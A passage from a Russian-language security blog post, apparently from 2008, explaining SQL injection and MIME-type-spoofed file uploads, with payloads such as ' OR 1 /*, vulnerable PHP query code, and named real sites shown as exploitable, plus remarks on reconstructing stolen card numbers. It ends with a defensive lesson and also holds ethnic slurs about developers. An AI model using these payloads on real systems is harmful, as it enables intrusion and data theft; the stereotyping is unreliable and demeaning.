<span class="kw1">SELECT</span> <span class="sy1">*</span> <span class="kw1">FROM</span> members <span class="kw1">WHERE</span> id <span class="sy1">=</span> 0 <span class="kw10">OR</span> 1 <span class="kw1">LIMIT</span> <span class="nu0">5</span><span class="sy2">,</span><span class="nu0">1</span><span class="coMULTI">/*-- LIMIT 1</span>
        </div>
    </div>
</div>

<p>Что примечательно: MySQL успешно выполнит запрос не смотря на то, что комментарий-то не закрыт. А так как <code>/* */</code>&nbsp;&mdash;&nbsp;многострочный комментарий, то запрос отлично выполнится, даже если он многострочный.</p>
<p>Есть и другой метод&nbsp;&mdash;&nbsp;более простой, но не всегда рабочий&nbsp;&mdash;&nbsp;просто передать скрипту нужный id и не ломать голову с запросом. Очевидно, что если скрипт делает выборку не только по id, но и по другому полю (например, <span class="codebox"><code class="mysql"><span class="kw1">WHERE</span> <span class="st0">`id`</span> <span class="sy1">=</span> <span class="st0">'id'</span> <span class="kw10">AND</span> <span class="st0">`member<span class="es1">_</span>id`</span> <span class="sy1">=</span> <span class="st0">'member<span class="es1">_</span>id'</span></code></span>), то простая подмена числа не сработает. А инъекция будет работать.</p>
<p>Сама по себе техника простая, но очень эффективная и деструктивная. Когда я работал над сайтом uk-swingers.com (исправлял баги), я показал заказчику, как из его базы можно было воровать&hellip; номера кредитных карточек с кодами CVV, информацией о владельце и прочими данными. То, что хранение подобной информации в БД запрещено, это другая история&hellip; Да, он шифровал информацию в БД (при помощи алгоритма RC4 <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  ). Да, он стирал 4 средние цифры из номера кредитки (через несколько часов после выполнения транзакции), но был ли в этом смысл? Дело в том, что данные могли быть зашифрованы как угодно, но браузеру они передавались в открытом виде. А номер кредитной карточки можно легко восстановить&nbsp;&mdash;&nbsp;во-первых, можно угадать BIN, исходя из территориальной близости к банку, во-вторых, перебором можно вычислить возможные номера карточки (для валидации номера используется формула Луна). На другом сайте (имя пока открыть не могу) так можно было читать чужие письма и воровать почтовые адреса и пароли (и устраивать кучу других гадостей).</p>
<p>Немного сложнее со строками. Я провел исследование, и выяснил, что если строка передается на сервер из <code>&lt;input type="hidden"&gt;</code>, то она далеко не всегда экранируется (особенно, если авторство кода принадлежит индусам).</p>
<p>Пример с реального сайта (кстати, писали даже не индусы, а вьетнамцы):</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p921">
        <div class="code php" id="p9code21">
&nbsp; &nbsp; <span class="re0">$name</span> <span class="sy0">=</span> <span class="re0">$_REQUEST</span><span class="br0">&#91;</span><span class="st_h">'member'</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="re0">$query</span> <span class="sy0">=</span> <span class="st0">&quot;SELECT * FROM <span class="es4">{$prefix}</span>profiles WHERE user = '<span class="es4">$name</span>'&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="re0">$res</span> <span class="sy0">=</span> <span class="kw3">mysql_query</span><span class="br0">&#40;</span><span class="re0">$query</span><span class="sy0">,</span> <span class="re0">$link</span><span class="br0">&#41;</span><span class="sy0">;</span>
        </div>
    </div>
</div>

<p>script.php?member=testdavid</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p922">
        <div class="code mysql" id="p9code22">
<span class="kw1">SELECT</span> <span class="sy1">*</span> <span class="kw1">FROM</span> tuvinh_profiles <span class="kw1">WHERE</span> <span class="kw23">user</span> <span class="sy1">=</span> <span class="st0">'testdavid'</span>
        </div>
    </div>
</div>

<p>Инъекция проходит аналогично: так как строки в MySQL заключаются в одинарные или двойные кавычки, то запрос модифицируется так, чтобы закрыть кавычку:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p923">
        <div class="code mysql" id="p9code23">
<span class="kw1">SELECT</span> <span class="sy1">*</span> <span class="kw1">FROM</span> tuvinh_profiles <span class="kw1">WHERE</span> <span class="kw23">user</span> <span class="sy1">=</span> <span class="st0">''</span> <span class="kw10">OR</span> <span class="nu0">1</span> <span class="coMULTI">/* &quot; OR 1 /*</span>
        </div>
    </div>
</div>

          
<div class="codebox">
    <div class="the_code" style="" id="p924">
        <div class="code mysql" id="p9code24">
<span class="kw1">SELECT</span> <span class="sy1">*</span> <span class="kw1">FROM</span> tuvinh_profiles <span class="kw1">WHERE</span> <span class="kw23">user</span> <span class="sy1">=</span> <span class="st0">&quot;' OR 1 /* &quot;</span> <span class="kw10">OR</span> <span class="nu0">1</span> <span class="coMULTI">/*</span>
        </div>
    </div>
</div>

<p>Аналогично вышеприведённому примеру, в запрос можно добавить <code>LIMIT</code> и <code>ORDER BY</code>.</p>
<p>Ладно, хватит голой теории, переходим к практике <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
Большую популярность получили сайты, публикующие различные статьи различных авторов: владельцы сайтов получают контент, авторы&nbsp;&mdash;&nbsp;обратную ссылку на свой сайт и возможность показывать свою рекламу. Таких сайтов много: articledashboard.com, articledirectory.com, webarticles.com и т.п.</p>
<p>Один из таких сайтов (articledashboard.com) писали индусы <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  Заинтересовали они меня тем (articledashboard.com, не индусы), что они предлагали скачать "exact software that powers Article Dashboard for FREE". Кто не любит халяву <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  Хотя PHP-код зашифрован ionCube, индусское авторство доказывается наличием огромного файла functions.php (я подобное видел во всех проектах, когда приходилось переделывать код после индусов). А индусы не любят делать <code>addslashes()</code>. Тоже из опыта.</p>
<p>Приведу несколько скриншотов, показывающих наличие уязвимостей на сайте.</p>
<p style="text-align: center"><a href='http://static.sjinks.info/wp-content/uploads/2008/03/success_1.png' rel="lightbox" title='Вот так можно войти с именем "&apos; OR 1 /*" и произвольным паролем'><img src='http://static.sjinks.info/wp-content/uploads/2008/03/success_1.png' alt='success_1.png' /></a></p>
<p>На сайте есть хорошая функция&nbsp;&mdash;&nbsp;загрузка своей аватарки. Казалось бы, что здесь можно сломать? Тем не менее, и описываемая ниже <a href="http://blog.sjinks.pro/tag/vulnerability/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  уязвимость">уязвимость</a> сводится к недостаточной обработке входных данных.</p>
<p>Есть очень хороший <a href="https://addons.mozilla.org/en-US/firefox/addon/4498">extension</a> для FireFox, который позволяет подделывать <a href="http://blog.sjinks.pro/tag/mime-type/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  mime-type">mime-type</a>. То есть фактически мы можем проинструктировать FireFox посылать произвольный файл (например, php) с <a href="http://blog.sjinks.pro/tag/mime-type/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  mime-type">mime-type</a>, соответствующим изображению (например, image/png). В том случае, если сервер проверяет тип файла только по данным, которые пришли со стороны пользователя, скрипт обманывает сам себя.</p>
<p style="text-align: center"><a href='http://static.sjinks.info/wp-content/uploads/2008/03/success2.png' rel="lightbox" title='Загружаемые файлы тоже всегда нужно проверять'><img src='http://static.sjinks.info/wp-content/uploads/2008/03/success2.png' alt='success2.png' /></a></p>
<p style="text-align: center"><a href='http://static.sjinks.info/wp-content/uploads/2008/03/screen2a.png' rel="lightbox" title='Таким образом можно выполнить произвольный скрипт на чужом сервере'><img src='http://static.sjinks.info/wp-content/uploads/2008/03/screen2a.png' alt='screen2a.png' /></a></p>
<p>И на закуску: <a href="http://www.google.com/search?num=30&amp;hl=en&amp;q=Powered+by+Article+Dashboard&amp;btnG=Search">все эти сайты работают под ArticleDirectory</a>.</p>
<p>А вы говорите, безопасность&hellip;</p>
<p><strong>Мораль сей басни такова:</strong> <strong><em>никогда</em></strong> (еще раз подчёркиваю, <strong><em>никогда</em></strong>) нельзя доверять данным, которые пришли со стороны пользователя. Все данные нужно проверять и при проверках предполагать худшее. Естественно, это увеличивает размер кода и время написания программы. Но лучше заказчику потратить пару сотен долларов на безопасность, чем рвать волосы на голове после обнаружения взлома по факту.</p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
	</channel>
</rss>

